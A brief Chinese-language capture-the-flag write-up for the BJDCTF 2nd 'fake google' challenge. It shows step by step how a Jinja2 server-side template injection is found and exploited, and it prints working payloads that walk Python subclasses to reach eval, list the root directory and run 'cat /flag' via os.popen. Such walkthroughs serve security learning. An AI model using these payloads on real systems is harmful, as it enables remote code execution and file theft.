[BJDCTF 2nd]fake google
阿新 • • 發佈:2020-11-26
00x1分析題目
開啟頁面,首先是一個goole搜尋框,輸入內容後Enter,頁面顯示P3's girlfirend is : xxxx
在看URL框,發現這裡其實是通過get方式傳遞了一個get形式的引數,傳入的值就會輸出在頁面上。覺得可能是SSTI模板注入,因為這裡會把輸入的內容輸出在頁面上,那麼表示式也有可能會被輸出。檢視原始碼,確定這裡是SSTI模板注入。
00x2SSTI模板注入
表示式測試
輸入{{1+1}}測試,看錶達式是否會被計算,尷尬的是頁面直接500了,這裡估計是ban了+號,因為當你單輸入一個+號時頁面不會有任何的顯示。
輸入{{1*2}}測試,頁面輸出 2,可以了開始注入。
查詢需要藉助的類
查詢可以引用的類的列表,獲取到一個列表,使用python指令碼查詢需要的利用的類warnings.catch_warnings的位置。
{{[].__class__.__base__.__subclasses__()[169]}}
頁面顯示:P3's girlfirend is : <class 'warnings.catch_warnings'>
{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').listdir('/')")}}
頁面顯示
P3's girlfirend is : ['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'flag', '.dockerenv', 'app', 'bd_build']
讀取flag檔案
{{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}